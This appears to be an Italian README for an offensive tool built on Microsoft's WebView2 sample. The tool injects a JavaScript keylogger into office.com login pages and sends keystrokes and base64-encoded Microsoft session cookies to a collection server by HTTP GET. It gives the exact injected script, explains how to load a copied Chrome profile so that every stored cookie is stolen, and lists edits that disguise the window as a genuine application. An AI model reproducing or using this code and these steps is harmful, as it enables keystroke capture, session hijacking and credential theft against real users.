
Inietta un keylogger JavaScript nelle pagine WebView2 per catturare le sequenze di tasti ed esfiltrare i cookie dalle sessioni di autenticazione Microsoft tramite richieste HTTP GET.
Per maggiori informazioni, si prega di leggere questo post del blog.
Questo codice è una versione modificata del codice WebView2 di Microsoft. Il codice attuale può essere ripulito e reso molto migliore.
Testato su Windows 10 e 11.
Quando il binario viene eseguito, viene caricato https://office.com/login. Un keylogger JavaScript viene iniettato in ogni pagina e le sequenze di tasti vengono inviate a http://127.0.0.1:8080. Inoltre, dopo che l'utente ha effettuato l'accesso con successo, i cookie per login.microsoftonline.com vengono codificati in base64 e inviati a http://127.0.0.1:8080 tramite una richiesta HTTP GET.
Se desideri modificare il JavaScript, il codice da modificare è mostrato di seguito alla riga 1096 in AppWindow.cpp.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2 consente di avviare con una cartella dei dati utente (UDF) esistente invece di crearne una nuova. L'UDF contiene tutte le password, le sessioni, i segnalibri, ecc. L'UDF di Chrome si trova in C:\Users\<username>\AppData\Local\Google\Chrome\User Data. Possiamo semplicemente dire a WebView2 di avviare l'istanza utilizzando questo profilo e, all'avvio, estrarre tutti i cookie e trasferirli al server dell'attaccante.
L'unico inconveniente è che WebView2 cerca una cartella chiamata EBWebView invece di User Data (non si sa perché). Copia la cartella User Data e rinominala in EBWebView.
Alla riga 41 in app.cpp:
std::wstring userDataFolder(L""); in std::wstring userDataFolder(L"C:\\Path\\To\\Temp");EBWebView da cui WebView2 leggerà.Alla riga 40 in ScenarioCookieManagement.cpp:
GetCookiesHelper(L"https://login.microsoftonline.com"); in GetCookiesHelper(L"");Quando GetCookiesHelper viene invocato senza specificare alcun sito web, estrarrà tutti i cookie.
Nota: Questo non funzionerà con l'applicazione attuale se c'è una grande quantità di cookie perché l'applicazione li invia tramite una richiesta GET che ha un limite di lunghezza.
Se desideri apportare modifiche al binario, troverai informazioni sulle funzioni importanti di seguito.
GetUri() contiene l'URL caricato all'esecuzione del binario.SendCookies() contiene l'indirizzo IP e la porta dove vengono inviati i cookie.CallCookieFunction() attende che l'URL inizi con https://www.office.com/?auth= e chiama ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")POPUP a "".IDS_APP_TITLE e IDC_WEBVIEW2APISAMPLE. Questo è il nome dell'applicazione nella barra del titolo.IDI_WEBVIEW2APISAMPLE, IDI_WEBVIEW2APISAMPLE_INPRIVATE e IDI_SMALL. Questi puntano a un file che è l'icona per questa applicazione..icoitemHeight deve essere impostato a 0 per rimuovere il menu superiore. Questo è già gestito in questo codice.LoadImage() deve essere commentato. Questo nasconde l'immagine di splash blu. Già gestito in questo codice.new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); cambiare l'ultimo parametro in true. Questo nasconde la barra degli strumenti. Già gestito in questo codice.